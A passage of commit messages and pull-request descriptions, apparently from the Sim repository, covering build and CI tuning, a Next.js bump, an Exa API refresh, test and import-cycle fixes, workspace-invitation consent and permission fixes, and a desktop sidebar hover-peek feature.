the cache-key comments to the load-bearing facts Keeps the mechanism (one mutable volume per key, clone-on-mount, last-write-wins) and the two numbers, drops the restated reasoning. Both report steps collapse to a single du, dropping a second full walk of a ~5 GB tree. Cleanup workflow loses a concurrency group a once-per-PR delete never needed.
…e comments (#6076) `optimizePackageImports` is not a no-op under Turbopack, despite what the Next docs say. In 16.2.11 the list feeds `side_effect_free_packages` and is force-appended to `transpiledPackages`, which also removes each entry from the server externals set — and it overrides each listed package's own `sideEffects` declaration rather than hinting. So a stale entry is not free. Two entries are provably dead: `lodash` has zero import sites repo-wide and is not a dependency of any package here (Next also already applies a `lodash -> lodash/{{member}}` modularizeImports rule unconditionally), and `@radix-ui/react-accordion`'s only occurrence in the repo was this line. `prettier` in `transpilePackages` is dead for a different reason: nothing imports it, it is in no package.json, and the repo formats with Biome. It sits in node_modules only as a transitive dep. `transpilePackages` matches on modules already in the graph, so this entry was transpiling nothing. Also corrects two comments that claimed more than the code does: - the `.map` header rule said it blocks access to sourcemaps; it only sets `noindex` and a TTL. The maps ship publicly in the production image. - the minimal-registry comment's numbers were badly stale (~247 tools -> 4,351; ~2,074 modules -> ~5,907) and its framing wrong: blocks are not a co-equal cost, and the tool registry is reached through four redundant client edges, not just providers/utils — which is why cutting only that one edge buys a single module. No behavior change intended: the removed entries were inert. Kept `zod`, `reactflow`, `framer-motion`, and `streamdown`, which are real barrels with real import sites — removing those changes tree-shaking hints and needs a bundle-size measurement, not a guess.
Four read-token tools over Logfire's query API: structured span/log search,
raw SQL against records/metrics, full-trace fetch by ID, and read-token
introspection. Plus the block, icon, registry wiring, and generated docs.
Requests go to /v2/query with the region resolved from the token's
pylf_v{n}_{region}_ prefix, overridable by an explicit region or a self-hosted
host (public HTTPS only, per the tool executor's URL policy). Structured
filters are emitted as escaped SQL literals, using DataFusion contains() so
%/_ in user input stay literal.
Co-authored-by: Claude <noreply@anthropic.com>
icecrasher321
changed the title
16.2.12 is the current stable (published 2026-07-25) and its entire changelog is two PRs: a docs backport and vercel/next.js#95831, "Fixes to support TypeScript 7". That second one matters here. `apps/sim` declares `typescript: ^7.0.2` and the lockfile resolves 7.0.2, while 16.2.11 predates any TS7 handling — not even the actionable-error guard (#95837), which was never merged. The upstream symptom is `next build` dying with a silent SIGSEGV during its type-check step, because the legacy TypeScript JS API that Next called is gone in TS7. Builds pass today only because Next detects @typescript/native-preview as the compiler and takes a different path, so we are accidentally-working rather than supported. 16.2.12 adds the `experimental.useTypeScriptCli` backend that makes this configuration official. Zero build-performance content in the patch, so this is not a speed change. Bumps all eight pins in lockstep — next, @next/env and the four @next/swc-* binaries at the root, plus the three app/package copies. The swc binaries must move with next: they are platform-gated optionalDependencies, so a version skew or a gate exclusion leaves them out of bun.lock entirely and `bun install --frozen-lockfile` installs no compiler at all (the #5945 failure). Also re-dates the bunfig.toml gate note, which said to drop the next entries on 2026-07-28 — yesterday. 16.2.12 is inside the 7-day window until 2026-08-01, so following that instruction would have blocked this bump and re-triggered the missing-compiler failure. Re-date on future bumps rather than deleting the entries early.
…esearch endpoint (#6074) * feat(exa): refresh Exa integration against current API, retire dead research endpoint Exa's dev-rel team flagged that our integration was written against a retired version of their API. Validated every claim against the live API with a real key. - /research/v1 returns HTTP 410 RESEARCH_RETIRED, so the Research operation was hard-broken in production. Removed it and added an Agent operation on /agent/runs. Saved workflows on the old operation are routed to Agent so they start working again. - Category dropdown sent values Exa no longer recognizes (research_paper, news_article, movie, song, ...). Exa accepts category as an unvalidated soft hint, so these silently stopped steering results rather than erroring. Replaced with the current taxonomy and remapped legacy values. - Live crawl mode defaulted to 'never', silently forcing cache-only results on every search. Removed the default and exposed maxAgeHours, which replaces the deprecated livecrawl. Exa 400s when both are sent, so they are now mutually exclusive. - numResults was capped at 25 in the UI; the API allows 1-100. - Search types refreshed to instant/fast/auto/deep-lite/deep/ deep-reasoning. Legacy neural/keyword still pass through. - Exposed result id so search results can be chained into Get Contents via ids, plus highlightScores, subpages, entities, extras, statuses, requestId, and outputSchema structured output with grounding. - answer text controls cited-source text, not the answer; fixed the description and the dead query field. - Marked findSimilar and the crawl-date filters deprecated. Both still work, so existing workflows are unaffected. - Copilot search-online never requested page content, so every snippet was empty. Now requests highlights. * fix(exa): address review findings on the API refresh - A run already terminal on creation went through a path that never set success=false, so a failed or cancelled run reported as successful. Both the create path and the poll loop now settle through one function. - Routing exa_research to Agent dropped the research output shape, so saved workflows referencing research[0].text resolved to undefined. The agent tool now also emits that legacy shape. - The Agent operation's inputs are conditioned on both exa_agent and exa_research so the serializer keeps carrying a stored research query; it drops any value whose sub-block condition no longer matches. - Dropped the model to effort mapping and the unused ExaResearchParams: the serializer drops values for removed sub-blocks, so model never reached the params function. * fix(exa): keep legacy research model, add subblock migrations, sharpen outputs The subblock ID stability check caught the removed subblocks — that gate exists precisely to stop removals from breaking deployed workflows. - Restore the research model sub-block, scoped to the legacy exa_research operation so it never shows for new workflows but still serializes for saved ones, and restore the model to effort mapping. Removing it lost the configured research depth, silently falling back to effort auto. - Register useAutoprompt and livecrawl in SUBBLOCK_ID_MIGRATIONS as intentional removals. Neither has a value-compatible replacement: livecrawl is a mode string and maxAgeHours a number, so mapping one to the other would send NaN. - Replace vague json output descriptions with their inner field lists. - Drop the separate compat test file; the coverage that guards real regressions now lives in exa.test.ts. * fix(exa): flag empty Get Contents configs in the editor, keep legacy research depth - A saved research workflow with no stored model fell through to the Agent default of auto rather than the standard depth the old Research operation used. Legacy research now always maps to an effort level, defaulting to medium, and the legacy model sub-block carries the same default the old dropdown had. - Get Contents needed both selectors optional so the ids path is reachable, which left an empty config failing only at run time. URLs is now conditionally required, dropping the requirement when result IDs are supplied, so the editor flags the empty case. The exactly-one check in the request body stays as the backstop. * fix(exa): revert conditional required on Get Contents URLs The conditional required callback did not work and introduced a regression. `isFieldRequired` in webhook deploy calls `config.required()` with no arguments, so the callback never saw `ids` and left URLs required — an ids-only block would have been reported as missing a required field on deploy. `collectBlockFieldIssues` skips sub-block required checks whose id matches a tool param, so it never evaluated the callback either. Both selectors go back to optional with the exactly-one check in the request body, which is what the integration rules prescribe for mutually exclusive alternate identifiers. Added a comment recording why a conditional required cannot express this, so it is not reattempted.
…ry (#6082) `keeps the ceiling when the run outlives it` passed a deadline of exactly `PI_SANDBOX_MAX_LIFETIME_MS`, then asserted the resolved lifetime equalled that ceiling. But the lifetime is `Math.min(ceiling, deadline - Date.now())`, so the remaining budget decays below the ceiling as soon as one millisecond of test time elapses and `Math.min` returns the budget instead. It passed only when zero milliseconds happened to pass, which is why it failed CI as `expected 5399999 to be 5400000` — 1 failure in 16,047. Demonstrated: with the old input, a 5ms delay before the assertion yields 5399994 (off by 6ms); with a deadline 60s past the ceiling it yields 5400000 exactly, regardless of elapsed time. An equal deadline was also not the case the test name describes — the run has to *outlive* the ceiling, not match it — so raising it past the ceiling fixes the assertion and the intent together. Derives the input from `PI_SANDBOX_MAX_LIFETIME_MS` rather than restating 90 minutes, so the test cannot drift if the async execution ceiling moves. Also drops the old comment's claim that "the provider cap still wins": the provider cap is 24h, far above the 90m async ceiling, so the ceiling is what wins here.
* feat(pi): add update branch mode * feat(pi): manage pull requests in update mode * docs(pi): clarify closed PR behavior * fix(pi): handle update PR finalization races * fix(pi): accept renamed update PR repositories * fix(pi): clarify shared open PR errors * fix(pi): recheck update PR ambiguity * fix(pi): recreate closed update PRs * fix(pi): follow replacement update PRs * fix(pi): preserve update PR BYOK after staging rebase --------- Co-authored-by: Bill Leoutsakos <billleoutsakos@Bills-MacBook-Pro.local> Co-authored-by: Bill Leoutsakos <billleoutsakos@Mac.localdomain>
…6083) `blocks/registry-maps` and `blocks/registry` sit in an import cycle: a block config reaches back through providers/utils -> tools/params -> blocks/index -> blocks/registry, which imports registry-maps. Whichever module the cycle is entered through evaluates first, so `blocks/registry` can run while `registry-maps` is still initializing. Two module-scope reads of the imported binding therefore threw `ReferenceError: Cannot access 'BLOCK_REGISTRY' before initialization` for anything importing `@/blocks/registry-maps` directly — scripts and tests under Bun: const HAS_PREVIEW_BLOCKS = Object.values(BLOCK_REGISTRY).some(...) // line 28 export const registry: Record<string, BlockConfig> = BLOCK_REGISTRY // line 238 Only line 28 showed in the stack trace; fixing it alone would have moved the failure to line 238. Both are now deferred: `anyPreviewBlocks()` memoizes on first use (still computed once, as the old comment promised), and the raw map is exposed as `getBlockRegistry()`. This worked under Turbopack only because that bundler happened to order the modules favourably — not a property to build on, and any registry restructuring would perturb it. Breaking it now is a prerequisite for the metadata/implementation split that the tool-registry module-graph audit proposes, not a fix to discover midway through one. Three consumers updated. `tsc` found two that grep missed, because they destructure the binding off a dynamic import (`const { registry: blockRegistry } = await import(...)`) rather than naming it in a static import. Behaviour-preserving: `getBlockRegistry()[type]` is the same raw lookup the alias gave, deliberately not `getBlock()`, which would add version normalization and custom-block overlay fallback.
…uilds) (#6080) * perf(ci): disable the Turbopack persistent build cache It is a net loss at this app's size. A controlled A/B on one branch (#6078), three runs with a byte-identical module graph so only cache state varied: cache OFF 113s compile, 2m53s job cache ON, cold 162s compile, 3m54s job cache ON, warm 360s compile, 8m18s job The cache made the same build 3.2x slower. It also grew 5.1 GB -> 12 GB across two runs of an unchanged tree, which explains the progressive degradation seen on longer-lived disks (up to 11.7 min): the more a disk is written, the more the next run must read and revalidate. Flag manipulation is visible in the logs — the cache-on runs print `✓ turbopackFileSystemCacheForBuild`, the cache-off run omits it — and every run used `turbo --force` so none is a replayed log. #5869 enabled this on locally-measured numbers (105s cold -> 22s warm) that never reproduced in CI and are inverted here. #6072 then branch-scoped the disk to stop PRs restoring each other's caches; that fixed a real problem, but with the cache off the disk is unnecessary, so the mount, the pre/post size reporting, and the env gate all go with it. Pins `turbopackFileSystemCacheForBuild: false` explicitly rather than relying on the Next default: upstream already flips that default to true in canary/preview builds (vercel/next.js#94616), so leaning on the default would let a version bump silently re-enable this. Keeps ci-cache-cleanup.yml, re-scoped to draining the 5-12 GB volumes that PRs opened while the per-branch key was live still hold — nothing else reclaims them. It is a no-op for new PRs and can be deleted once drained. Caveat: n=1 per cell. The 3.2x effect size and agreement with ~15 prior observations make it convincing, but this is three runs, not a distribution. * docs(ci): correct the cleanup key comment after the mount was removed Greptile P2: the delete step still claimed its key must stay byte-identical to the Mount Next.js build cache step in test-build.yml, but this PR removes that mount. It is now a hard-coded legacy drain key that mirrors nothing.
…in 2026 (#6084) * feat(library): Best AI Agents for Scheduling and Calendar Management in 2026 * feat(library): add cover image for the scheduling and calendar management post --------- Co-authored-by: Sim Pi Agent <pi@sim.ai> Co-authored-by: Waleed Latif <walif6@gmail.com>
`vitest.setup.ts` loaded `@testing-library/jest-dom/vitest` unconditionally, so all 1,219 test files paid for it. jest-dom only registers DOM matchers (`toBeInTheDocument`, `toBeVisible`, ...), which are useless without a document — and 985 of those files declare `@vitest-environment node`. Guarding the import on `typeof document !== 'undefined'` loads it for exactly the files that can use it. All 7 files that actually call a jest-dom matcher are explicitly `@vitest-environment jsdom`, so none loses anything; verified by running them. Measured locally, same machine, full suite: baseline Duration 179.47s (setup 367.13s aggregate) guarded Duration 165.78s (setup 252.72s aggregate) 7.6% off the suite, 31% off aggregate setup time. On a node-only subset (50 files, n=3 each) it is 21%: 2.75s -> 2.16s median. Identical results either way: 1225 files / 16184 tests pass, plus one failure that reproduces on unmodified staging (cloud-review-tools.test.ts cannot find `rg` from its spawned python3 locally; CI installs ripgrep explicitly and it passes there). Also fixes two pieces of CI documentation that claimed more than the code does — the same class of thing #6076 cleaned up: - The step was named "Run tests with coverage" but runs `bun run test` = `vitest run`, with no `--coverage` anywhere. - The Codecov upload reads `apps/sim/coverage`, which nothing generates (vitest.config.ts declares no coverage provider). It uploads nothing and still reports success in ~1s because `fail_ci_if_error: false`. Annotated rather than deleted, since whether to enable coverage or drop the step is a call for the team, not a side effect of a perf change.
UPLOAD_DIR_SERVER is join(process.cwd(), 'uploads'), so it follows the cwd rather than a fixed root. Under turbo run test the cwd is apps/sim and that package's /uploads rule catches it, but running vitest from the repo root writes ~40 uploads/execution/**/large-value-*.json files to a path nothing ignored. Anchored on purpose: an unanchored uploads/ would also match apps/sim/lib/uploads/ (61 tracked source files) and silently ignore anything added there later.
…n join, disclose it at accept, and add external workspace invites (#5918) * feat(invites): explicit external members * update docs * fix(organizations): atomic admin workspace sweep, removal-impact status in dialog, and preview-unavailable disclosure Review round 1: the v1 admin add-member now commits membership and the workspace sweep in one transaction; the remove-member dialog holds confirm while the credential-impact check loads and shows a caution when it fails; a failed join preview flags joinPreviewUnavailable so the accept screen falls back to a generic migration notice. Also aligns the invite test's react-query mock and repairs two pre-existing docs type errors. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(organizations): close the concurrent-workspace escape in the join sweep Personal workspace creation now serializes with organization joins on the user's billing-identity lock and re-verifies membership inside its transaction; both join paths (invite acceptance and the v1 admin add) re-read the owned-workspace set under that lock after the member insert and roll the whole join back when it diverged from the advisory-lock plan, so a workspace created mid-join can never land outside the organization. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(organizations): fail stale-grant member joins and re-resolve the creation race client-side A member-role org acceptance whose grants all turned stale now rolls back with workspace-not-found instead of stranding a workspace-less member, and the workspace resolver treats the creation-vs-join 409 as a signal to re-resolve (the user is authenticated with org workspaces) rather than falling into the login path. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(invitations): mirror the stale-grant gate in the join preview The accept-screen preview now returns no-join for a member-role org invite whose grants all left the stamped organization, matching the acceptance-side rollback so the disclosure never promises a migration that acceptance would refuse. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(workspaces): survive the join race on lazy default creation and gate removal on live impact data The workspace list GET now re-lists (returning the join sweep's workspaces) when lazy default creation loses the race to an organization join instead of failing with a 500, and the remove-member dialog gates its confirm on isFetching so a background refetch can never let an admin confirm against a stale credential-impact list. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(invitations): surface the accept conflict message and refresh workspace caches post-accept The accept route now carries the human-readable message alongside the machine-readable error kind (the client prefers it for server-error), and a successful accept invalidates workspace queries so the swept workspaces appear immediately instead of after the stale window. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(billing): sweep archived workspaces in Pro-to-Team conversion and org creation Every attach call site now passes includeArchived so the archived escape hatch is closed uniformly — join-attach, admin move, subscription-driven org provisioning, and manual org creation all sweep archived personal workspaces into the organization. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(invitations): reject acceptance when the sweep set differs from the disclosed set The join preview now carries the workspace ids it disclosed, the accept screen echoes them back as a disclosure token, and acceptance rolls back with disclosure-outdated (409) whenever the set it would sweep no longer matches — a workspace created after the preview rendered can never move without the user seeing the refreshed notice first. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(invitations): send the disclosure token for no-join previews too A preview that predicted no join still tells the user nothing moves — the empty disclosed set is now echoed on accept, so a join that becomes possible between preview and accept (left another org, billing turned usable, grants un-staled) conflicts with disclosure-outdated instead of sweeping workspaces without a rendered notice. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(invitations): gate all-stale member joins before disclosure and always refetch removal impact The all-stale check for member-role org invites now runs before any mutation and before the disclosure comparison, so an invite whose grants all left the org fails with workspace-not-found instead of trapping owners of personal workspaces in a disclosure-outdated retry loop. The removal-impact query drops its stale window (staleTime 0): every dialog open refetches while the confirm is held on isFetching. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(organizations): keep-external on org recovery and label archived move candidates Org creation/recovery now uses the keep-external collaborator policy (matching Pro-to-Team conversion) so different-org collaborators on archived workspaces cannot abort it with a conflict, and the admin workspace-move search and preflight expose an archived flag so internal tooling can label archived targets. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(invitations): guard the reverse disclosure direction A will-join notice whose acceptance downgrades to no-join (stale escalation denial, concurrent other-org membership) now fails with disclosure-outdated instead of silently succeeding as an external grant — the disclosure token binds the outcome in both directions. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * address comments * fix * fix(invitations): one invite surface, coalesced grants, coherent seat model Consolidate the two invite modals into a single surface and fix the semantics the split had been hiding. Invite flow: - One InviteModal for all three entry points (workspace header, workspace settings, organization settings), with a workspace multi-select and an explicit Membership choice that states the seat consequence. - Coalesce grants instead of 500ing. A partial unique index allows one pending invitation per (email, organization), so inviting someone to a second workspace raised a raw 23505. New workspaces now merge into the pending invitation (with a retry for the concurrent-insert race) and the invitee gets one link covering everything. - External collaborators require their own paid plan, checked at invite time and re-checked on accept, since the invitation lives for 7 days. Imposed externality is exempt in both places: an invitee already in another organization is forced external regardless of the inviter's choice, so the plan gate must not apply to them. - Every invitation must grant at least one workspace, so accepting always lands somewhere. Enforced at creation for all roles. - Revocation is grant-scoped. Since one invitation can span workspaces, revoking from a workspace's member list withdraws only that grant and cancels the invitation just when the last one goes. Whole-invitation revocation now requires authority over all of it rather than admin on any single granted workspace. - The accept screen names every granted workspace and states whether the invitee joins as a member, an admin, or an external collaborator, and whether that uses a seat. Seats: - One rule for the pending-invitation predicate, seat capacity, and the derived figures; the three counting sites now share it. - Team seats are elastic (subscription.seats tracks the member count), so treating that as a cap reported negative headroom on any outstanding invite. Available seats are clamped and gates branch on whether the plan actually has a fixed cap. - POST /api/v1/admin/organizations/[id]/members could never succeed on Team: it validated N members against N seats. It now skips the cap for elastic plans, matching invitation acceptance, and reconciles seats after a committed add. Also surfaces the External label on the workspace Teammates list, which already received the flag and dropped it, and removes dead code: the grantless organization-invite route and contract, three unreferenced invitation helpers, and the unreachable ensureUserInOrganization/addUserToOrganization/validateMembershipAddition cluster. Co-Authored-By: Claude <noreply@anthropic.com> * fix(invitations): close the two accept-disclosure gaps Bugbot found Membership notice ignored the join preview. `buildMembershipNotice` keyed off the invitation's sent `membershipIntent`, but acceptance resolves an internal invite to external when the invitee already belongs to another organization, or when the granted workspace changed organizations after the invite went out. The screen therefore promised "you'll join as a member, which uses one of their seats" to people who would neither join nor consume a seat. It now keys on the preview's `willJoinOrganization` — the same signal the migration notice already used — and falls back to the sent intent only when no preview could be computed. In-app accept skipped the disclosure entirely. `useAcceptMyInvitation` posted an empty body, so `disclosedWorkspaceIds` was absent and the server's consent guard was skipped, and the pending-invitations modal never showed which owned workspaces would move. Accepting from the workspace switcher (including the desktop path) could silently sweep personal workspaces into the organization, bypassing the consent model this PR adds on /invite. The list endpoint now returns each invitation's join preview, the modal renders the same membership/migration disclosure as /invite, and accept echoes `disclosedWorkspaceIds` so the guard applies on both paths. Both notices moved into lib/invitations/disclosure-copy.ts and are consumed by /invite and the modal, so the two accept surfaces cannot drift into disclosing different outcomes for the same invitation — which is how this gap arose. Co-Authored-By: Claude <noreply@anthropic.com> * fix(invitations): carry the membership outcome in the disclosure token Empty disclosure skipped membership consent. The token was only the workspace-id list, so a no-join preview and a will-join preview for someone who owns nothing both echoed `[]`. Neither guard could tell those apart: the forward check compares sweep sets, and the reverse check required a non-empty disclosed set. An invitee who left their other organization between preview and accept would therefore be silently made a seat-consuming member after being told they would stay external, and the mirror case could silently demote a promised join. The accept body now also carries `disclosedWillJoinOrganization`, compared against the resolved outcome before any write, so consent covers the membership decision and not just the migration. Both accept surfaces send it. This was widened by the previous commit: keying the membership notice on the preview made the screen promise a join outcome the token never verified. In-app accept errors lacked copy. `getInvitationErrorMessage` omitted `external-requires-paid-plan`, `disclosure-outdated`, and `workspace-not-found`, so those failures fell through to the generic "may have expired" fallback. `disclosure-outdated` became newly reachable in-app the moment that path started sending the token, so the gap arrived with the fix for it. Co-Authored-By: Claude <noreply@anthropic.com> * fix(invitations): compare the join disclosure against new-membership creation The membership consent guard compared the disclosed outcome against `shouldJoinOrganization`, which stays true for an invitee who already belongs to the target organization — the invitation's intent is still internal. The join preview reports no-join for exactly that case, because nothing changes for them. Every such acceptance therefore failed `disclosure-outdated`, and the retry re-rendered the same preview, so the invitation became permanently unacceptable. The guard now compares against whether acceptance creates a NEW membership (`shouldJoinOrganization && !alreadyMemberOfTargetOrganization`), which is what the disclosure actually promises and what the preview reports. The already-a-member predicate is hoisted and shared with the join block below so the guard and the billing path cannot disagree about it. Regression test asserts a pre-existing member accepts with a no-join disclosure; it fails with `disclosure-outdated` against the previous comparison. Co-Authored-By: Claude <noreply@anthropic.com> * fix(invitations): tell an existing member their standing is unchanged The join preview reported the same no-join shape for two different outcomes: an external collaborator, and an invitee who already belongs to the organization acceptance lands in. `buildMembershipNotice` rendered both as "you'll join as an external collaborator ... everything you own stays yours", which is wrong for an existing member — they stay an internal member and simply gain the granted workspaces. The preview now reports `alreadyMemberOfOrganization` for that case (a membership in a DIFFERENCE organization is still the external path, since acceptance downgrades), and the notice states that standing is unchanged. This is the same conflation behind the accept loop fixed in 4eb7725, now removed from the shape itself rather than worked around per consumer. Also re-verify the removal-impact disclosure at the moment of confirmation. `isFetching` only holds the confirm button while a request is in flight, so an identity-bound credential the member gained after the fetch settled would break on removal without ever being disclosed. Confirm now refetches and, if the set changed, keeps the dialog open on the refreshed warning instead of proceeding. Co-Authored-By: Claude <noreply@anthropic.com> * fix(invitations): serialize the join-preview reads, revert the removal refetch Two corrections to this branch's own review fixes. The pending-invitations list computed each row's join preview with Promise.all. Every preview issues several queries, and the endpoint is hit whenever the workspace switcher opens, so that held one pooled connection per pending invitation for as long as the slowest one took. The loop is sequential now; the list is a handful of rows, so the latency is not worth the pool pressure. The removal-impact refetch on confirm is reverted. It changed behaviour — a click could silently do nothing — and it did not actually close the window it targeted: the credential set can still change between the refetch and the independent DELETE, because the removal endpoint neither receives nor revalidates the disclosed set. Closing that properly means passing the disclosure to the endpoint and revalidating there, which is a feature rather than a review fix, so the prior behaviour stands until it is done deliberately. Co-Authored-By: Claude <noreply@anthropic.com> * fix(invitations): disclose the seat on a personal-workspace join Both accept surfaces scoped the membership notice on `organizationId` or the preview's `organizationName`. A personal-workspace invite has neither until acceptance runs — it creates the organization by converting the billed owner's Pro to Team — so the seat and membership disclosure was suppressed for exactly the case that creates the membership. They now also scope on the preview's `willJoinOrganization`, which is the authoritative signal. Co-Authored-By: Claude <noreply@anthropic.com> * fix(invitations): make the join preview a discriminated outcome The preview returned one no-join shape for five different results — external intent, already a member, a membership in another organization, a dead-grant rejection, and a billing rejection. Two accumulating booleans could not separate them, and the accept screen rendered the external copy for all of them: it told people whose acceptance would fail with `upgrade-required` or `workspace-not-found` that they were getting workspace access without a seat. It now reports one `outcome`: `will-join` (a seat is taken), `already-member` (only workspace access changes), `external` (never a seat), or `blocked` (acceptance fails, so nothing is promised). `blocked` renders no membership notice — silence is accurate where the external claim was false. The accept button is deliberately left enabled: those cases already fail closed with the correct error, and choosing what to actively tell someone whose organization's payment lapsed is a product decision, not a review fix. This also fixes a live mis-attribution the previous commit's guard introduced. The consent check ran before the gates that produce the real cause, so a blocked invitation returned `disclosure-outdated` — and the retry re-rendered the same preview, leaving the invitee looping with no explanation. The guard now sits after the dead-grant gate, and a disclosed `blocked` skips the comparison so the billing gate below can surface `upgrade-required` instead. The accept body carries `disclosedOutcome` in place of the boolean; the membership comparison is unchanged (`will-join` versus a new membership being created), so no acceptance that previously succeeded now fails. Co-Authored-By: Claude <noreply@anthropic.com> * fix(invitations): let billing-disabled personal invites be accepted The consent guard derived "a membership will be created" from `shouldJoinOrganization`, which is still true at that point — it is only cleared much later, after provisioning fails to yield a target organization. With billing disabled and no organization on the workspace there is nothing to provision and nothing to join, so the preview correctly reports `external` while the guard computed `will-join`, rejecting every personal and grandfathered workspace invite as `disclosure-outdated`. The retry rendered the same preview, so those invites could not be accepted at all on billing-disabled deployments. The predicate now mirrors the preview's own condition, so the two cannot drift. Regression test asserts acceptance succeeds with billing off; it fails with `disclosure-outdated` against the previous predicate. Co-Authored-By: Claude <noreply@anthropic.com> * fix(invitations): allow External with billing off, mark cross-org org invites blocked The External paid-plan requirement is seat economics — an external collaborator takes no seat, so somebody else must be paying for them. With billing disabled there are no seats and no subscription rows at all, so every account resolves as `free` and choosing External failed at send time and would have failed at accept. Member and Admin still worked, so a self-hosted deployment had no way to grant workspace-only access without an organization join and a workspace sweep. Both the invite-time and accept-time gates now short-circuit when billing is off. A route test asserted that rejection without setting `isBillingEnabled`, which the shared mock defaults to false — it passed only because the gate ignored the flag. It now opts in explicitly, since the rule it covers is billing-only. Separately, the preview reported `external` for any invitee already in a different organization, but acceptance only downgrades a workspace-kind invite with live grants; an organization-kind invite hard-fails with `already-in-organization`. Those now report `blocked`, so the screen stops promising external access that acceptance can never grant. Legacy organization-kind rows still exist and coalescing preserves that kind, so this is reachable. Co-Authored-By: Claude <noreply@anthropic.com> * fix(invitations): require org admin to grant org Admin, and two disclosure gaps Privilege escalation. `createWorkspaceInvitation` stamped organization role `admin` whenever the caller passed `membership: 'admin'`, but authorization only checked workspace admin access — and unifying the invite modals exposed the Admin option to any workspace admin, where it had previously been reachable only from organization settings. A workspace-scoped administrator could therefore invite someone who joins as an organization Admin, gaining admin on every workspace the organization owns plus member and billing management. The inviter must now already hold organization owner/admin, checked server-side because the batch endpoint is reachable without the modal, and the modal no longer offers Admin to anyone else. The preview promised external access without mirroring acceptance's `external-requires-paid-plan` gate, so a free invitee — one who cancelled Pro, or left the organization that forced the external invite — was told they had workspace access and then refused. It now mirrors that gate, including its exemptions (billing on, organization-owned workspace, externality not imposed), and reports `blocked`. The modal's Enterprise seat check counted every non-External email as a seat. The server does not: an existing organization member is granted access directly, and an invitee already in another organization is forced external. The hard block refused batches the API would have accepted, so it is advisory now — per-email failures already come back with reasons. Co-Authored-By: Claude <noreply@anthropic.com> * fix(invitations): restore the invite admin gate, hedge an unknown outcome Consolidating the modals dropped a permission check. The old workspace-header modal derived `canInviteMembers` from `userPermissions.canAdmin` internally and disabled its field and button; the shared modal takes `canInvite` as a prop that defaults to true, and no call site passed it. Non-admins therefore saw a fully enabled invite form and only learned otherwise when the server refused the send. All three entry points now supply it: workspace admin for the header, the existing `canManage` for the workspace Teammates page, and organization owner/admin for organization settings. When the join preview cannot be computed the outcome is unknown, and the callers send no disclosure token — so acceptance runs without the consent guards. The membership notice nevertheless asserted a seat-taking join from the sent intent, which acceptance may resolve to external, already-a-member, or a failure. It is conditional now ("If you're added to X as a member, that uses one of their seats"), so the consequence is still disclosed without being claimed as settled. Co-Authored-By: Claude <noreply@anthropic.com> --------- Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
* feat(desktop): floating hover-peek sidebar
On the macOS desktop shell the collapsed sidebar has no width at all
(`--sidebar-collapsed-width: 0`), so the only ways back were ⌘B and the
title-bar toggle. Hovering that toggle now floats the sidebar in as a card
over the content, inset from the window edge, and it retracts when the
pointer leaves. Clicking the same control still docks it for good.
The card is the existing `.sidebar-shell-outer` re-styled, not a second
surface: `<Sidebar>` is never re-mounted, so its scroll position and
expansion state survive a peek. One CSS rule re-points `--sidebar-width` at
a new `--sidebar-expanded-width`, and the inner shell and aside follow with
no per-element overrides. Chrome is all existing tokens — `--radius`,
`--border`, `shadow-overlay`, `--z-modal` — and the fill is the sidebar's
own `--surface-1`, so docked and floating are the same surface. Enter/exit
use the popper idiom (`fade-in-0 zoom-in-95`) that emcn's Radix surfaces
already use.
Also migrates the search palette from raw `z-40`/`z-50` to `--z-modal`. It
was the one overlay outranked by the new card, and the raw values also put
it below `--z-toast`, inverting the order globals.css documents.
Settings drive-bys, all pre-existing violations in files this touches:
tokenize two literal pixel text sizes in passwords-view, route its cards
through `SettingsResourceRow` instead of four re-derived chrome constants,
and collapse three `{null}`-bodied `SettingsSection`s in browser settings
into one section of real rows.
* fix(desktop): close the peek's three timer races
Review round 1 (Cursor Bugbot) found three ways the card could flicker:
- A modal opening mid-dwell left the open timer pending, so the card
mounted over the modal before the dismiss path could run.
- A modal opening while the card was already animating out let it keep
animating on top of the modal.
- Re-hovering the toggle late in the exit window scheduled a fresh dwell
without clearing the exit timer, so the card unmounted and then
re-mounted — a visible gap with the pointer never leaving the toggle.
The first two collapse into one fix: merge the two reset effects so an
unavailable peek and a screen-owning modal both drop the card immediately,
unconditionally clearing all three timers. Instant is also the right look,
since the modal's scrim covers the card's position on the same frame.
For the third, a re-hover during the exit now re-opens synchronously rather
than scheduling another dwell — the card is already on screen, so the dwell
that guards against accidental opens from a cold state does not apply.
One regression test each.
* fix(desktop): arm the peek before first paint
Review round 2: the title-bar seed ran in a passive effect, which lands
after paint — long enough for a `mouseenter` on the toggle to be dropped
while the peek still read disabled, with nothing to retry it until the
pointer left and returned. A regression from folding the seed into the
window-state effect during cleanup.
Promoted to a layout effect, which runs before paint and before any mouse
event can be dispatched. The body is cheap synchronous reads plus a
subscription; the bridge's getState stays async and blocks nothing.
---------
Co-authored-by: Waleed Latif <waleed@simstudio.ai>
